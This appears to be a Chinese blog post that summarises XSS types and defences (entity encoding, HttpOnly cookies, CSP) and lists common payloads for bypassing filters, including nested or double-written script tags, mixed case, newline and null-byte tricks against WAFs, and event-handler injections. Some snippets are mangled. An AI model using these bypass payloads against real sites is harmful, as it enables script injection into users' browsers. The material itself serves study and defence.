XSS类型,防御及常见payload构造总结
什么是XSS?
XSS分类:
反射型:

<script>alert('XSS')</script>
XSS绕过 — 关于htmlspecicalchars()函数
htmlspecicalchars()函数把预定义的字符转换为HTML实体。
预定义的字符是:
& 成为 &
" 成为 "
' 成为 '
< 成为 &It(')
> 成为 > 可用的引号类型:
ENT_COMPAT - 默认,仅编码双引号
ENT_QUOTES - 编码双引号和单引号
ENT_NOQUOTES - 不编码任何引号
http_only防护下的XSS
http-only: 只允许http或https请求读取cookie、JS代码是无法读取cookie的(document.cookie会显示http-only的cookie项被自动过滤掉)。发送请求时自动发送cookie.
secure-only: 只允许https请求读取,发送请求时自动发送cookie。
host-only: 只允许主机域名与domain设置完成一致的网站才能访问该cookie。
存储型:
DOM XSS

<script>
function test(){
var str = document.getElementById("text").value;
document.getElementById("t").innerHTML = "<a href='"+str+"'>testLink</a>";
} </script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="ti jiao" onclick="test()" />


' onclick=alert(1) //

<a href='' onclick=alert(1) //' >testLink</a>

XSS防御手段
使用xss fileter
- 表单数据指定值的类型:年龄只能是 int 、name 只能是字母数字等。
- 过滤或移除特殊的 html 标签:<script>、<iframe>等。
- 过滤 js 事件的标签:onclick、onerror、onfocus等。
html实体
|
显示结果
|
描述
|
实体编号
|
|
|
空格
|
  ;
|
|
<
|
小于
|
< ;
|
|
>
|
大于
|
> ;
|
|
&
|
和
|
& ;
|
|
''
|
引号
|
" ;
|
编码转义
防御XSS的几个函数:
setcookie,通过将参数设置为true可以使cookie不能被js获取
htmlspecialchars()将html标签以实体输出
htmlentities()与上相同
escapeHTML()
strip_tags将标签去除
对json内容的转义escapeEmbedJSON()
自定义xss过滤器
应该关注新出现的html标签,可能这些标签还没有被过滤,可能触发xss
X-XSS-Protection设置
XSS 防御之 URL 编码
function encoding(str){
return encodeURIComponent(str);
};
XSS 防御之 CSS 编码
<div style="background-image: url(javascript:alert('xss'));"></div>
<style>body{background-image: url("javascript:alert('xss')");}</style>
function encoding(attr, str){
let encoded = '';
for (let i = 0; i < str.length; i++) {
let ch = str.charAt(i);
if (!ch.match(/[a-zA-Z0-9]/) {
let hex = str.charCodeAt(i).toString(16);
let pad = '000000'.substr((hex.length));
encoded += '\\' + pad + hex;
} else {
encoded += ch;
}
}
return encoded;
};
XSS防御之javascript编码
<a href="javascript:alert('xiao')" target="_blank">href xss</a>
<a href="javascript:alert('href xss HTML编码无效')" targ
CSP防御
<meta http-equiv="Content-Security-Policy" content="">
<meta http-equiv="Content-Security-Policy" content="
default-src http: https: *.xiao.com 'self' 'unsafe-inline' ;
style-src 'self' 'unsafe-inline' *.xxx.com;
script-src 'self' 'unsafe-inline' 'unsafe-eval' ;
">
default-src 'self';
self = 端口,协议,域名相同则信任(允许)
default-src 给下面所有的规则设定一个默认值
script-src 外部脚本
style-src 样式表
img-src 图像
media-src 媒体文件(音频和视频)
font-src 字体文件
object-src 插件(比如 Flash)
child-src 框架
frame-ancestors 嵌入的外部资源(比如、<iframe>、和)
connect-src HTTP 连接(通过 XHR、WebSockets、EventSource等)
worker-src worker脚本
manifest-src manifest 文件 CSP2规范中:
child-src 有效的 web workers 和 元素来源,如 <frame> 和 <iframe> (这个指令用来替代 CSP 1 中废弃了的 frame-src 指令)
form-action 可以作为 HTML <form> 的 action 的有效来源
frame-ancestors 使用 <frame>,<iframe>,<object>,<embed> 或 <applet> 内嵌资源的有效来源
upgrade-insecure-requests 命令用户代理来重写 URL 协议,将 HTTP 改到 HTTPS (为一些需要重写大量陈旧 URL 的网站提供了方便)。 同时
CSP 2 允许你添加路径到白名单中(CSP 1 只允许域名被添加到白名单中)。
常见payload构造
对script标签进行一次移除操作(嵌套欺骗):
<scr<script>ipt>alert('xss')</scr<script>ipt>
<script>alert("XSS")</script>
<script src="http://baidu.com"></script>
属性内输出闭合标签
"><script>alert('xss')</script>
javascript事件
< onfocus=javascript:alert('XSS') >
<div οnmοuseenter="alert('xss')">
iframe标签
<iframe src="javascript:alert(1)">
action
<form action="Javascript:alert(1)"><input type=submit>
<isindex action="javascript:alert(1)" type=image>
大小写绕过
<sCRipt>alert(1)</sCript>
双写绕过
<sscriptcript>alert('XSS')</sscriptcript>
编码绕过/特殊字符绕过
javascrip%0at:alert('xss')
//%0a(换行符)将代码隔开
javascrip%0at:alert('xss')<!--http://-->
javascrip%0at:alert('xss')//http://
javascrip%0at:alert('xss')/*http://*/
//3-5为注释绕过
angular.min.js javascript框架
补充:
ng-include可以包含一个html文件(但不限于html文件), 但只是加载一个静态页面显示在前端,不会加载里面的js, 使用时要在文件名要用单引号包起来,
空字节
最长用来绕过mod_security防火墙,形式如下:
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
src属性
<img src=x οnerrοr=prompt(1);>
参考:
XSS类型,防御及常见payload构造总结的更多相关文章
- XSS之防御与绕过
很久之前的随笔讲过XSS的编码绕过的一些内容 本次侧重整理一下常见的防御思路,顺便补充一些针对性的绕过思路以及关于XSS个人想到的一些有趣的事情 开篇之前,先看一下XSS介绍(包括mXSS.uXSS. ...
- XSS攻击防御篇
前言 上篇文章中提到了 XSS 攻击,而且,也从几个方面介绍了 XSS 攻击带来的严重影响.那么,这篇文章中,主要是针对 XSS 攻击做一个基本的防御,看看可以通过几种方式来修复这个特别常见的安全 ...
- Web安全系列(四):XSS 的防御
简介 XSS 的防御很复杂,并不是一套防御机制就能就解决的问题,它需要具体业务具体实现. 目前来说,流行的浏览器内都内置了一些 XSS 过滤器,但是这只能防御一部分常见的 XSS,而对于网站来说,也应 ...
- .Net Core 项目中添加统一的XSS攻击防御过滤器
一.前言 最近公司内部在对系统的安全进行培训,刚好目前手里的一个.net core 项目中需要增加预防xss的攻击,本文将大概介绍下何为XSS攻击以及在项目中如何统一的预防XSS攻击. 二.XSS简介 ...
- 风炫安全WEB安全学习第二十七节课 XSS的防御措施
风炫安全WEB安全学习第二十七节课 XSS的防御措施 XSS防御措施 总的原则 控制好输入/输出 过滤:根据业务需求进行过滤,对email,手机号码这样的输入框进行验证. 转义:所有输出到前端的数据都 ...
- 预防XSs和sql注入常见分析
SQL注入简介SQL 注入漏洞(SQL Injection)是 Web 开发中最常见的一种安全漏洞.可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可 ...
- XSS攻击常识及常见的XSS攻击脚本汇总
一.什么是XSS? XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了. 这里我们主要注 ...
- 安全测试 - XSS如何防御
XSS主要是通过劫持用户COOKIE,执行JS脚本进行攻击 如何发现: 可以使用<script>alert(/yourname/)</script> script最具有代表性也 ...
- XSS的防御
基于代码修改的防御 和SQL注入防御一样,XSS攻击也是利用了Web页面的编写疏忽,所以还有一种方法就是从Web应用开发的角度来避免: 步骤1.对所有用户提交内容进行可靠的输入验证,包括对URL.查询 ...
随机推荐
- mysqldump: [ERROR] unknown variable 'database=test'.
背景: 导出数据库test库的test表数据出现报错信息:mysqldump: [ERROR] unknown variable 'database=test'. 原来是my.cnf参数文件配置了以下 ...
- Linux下常用日志说明
/var/log/message ------------------------------------------系统启动后的信息和错误日志 /var/log/secure ----------- ...
- 关于django python manage.py startapp 应用名 出错异常原因
如题,在控制台运行python manage.py startapp sales 建立一个应用报错异常 1.应用名不能包含下划线等字符 所以app-demo 不能作为应用名被定义 2.manage.p ...
- JUC(二):CAS及ABA
CAS是什么? 比较并交换. CAS示例 package com.chinda.java.audition; import java.util.concurrent.atomic.AtomicInte ...
- mysql位函数的使用
查询每个月的访问天数 mysql> create table t1 (year YEAR(4),month int(2) unsigned zerofill,day int(2) u nsign ...
- NET 调用人脸识别算法
以前有个OpenCV 移植版EMCV可以用作图像识别等 https://github.com/emgucv/emgucv 现在有各种接口 比如虹软SDK https://ai.arcsoft.com ...
- ASP.NET Core 3.1使用JWT认证Token授权 以及刷新Token
传统Session所暴露的问题 Session: 用户每次在计算机身份认证之后,在服务器内存中会存放一个session,在客户端会保存一个cookie,以便在下次用户请求时进行身份核验.但是这样就暴露 ...
- 使用 transmittable-thread-local 组件解决 ThreadLocal 父子线程数据传递问题
在某个项目中,需要使用mybatis-plus多租户功能以便数据隔离,前端将租户id传到后端,后端通过拦截器将该租户id设置到ThreadLocal以便后续使用,代码大体上如下所示: ThreadLo ...
- java中定时器设置时间
<!-- 0 0 10,14,16 * * ? 每天上午10点,下午2点,4点 0 0/30 9-17 * * ? 朝九晚五工作时间内每半小时 0 0 12 ? * WED 表示每个星期三中午1 ...
- MySQL求两表的差集(非交集)
mysql如何查询两个字段数不同的表中数据不一致的记录 一般可用NOT EXISTS(非存在子句)或 LEFT JOIN左(右)连接后所产生空字段值来筛选两表的差集 1.NOT EXISTS not ...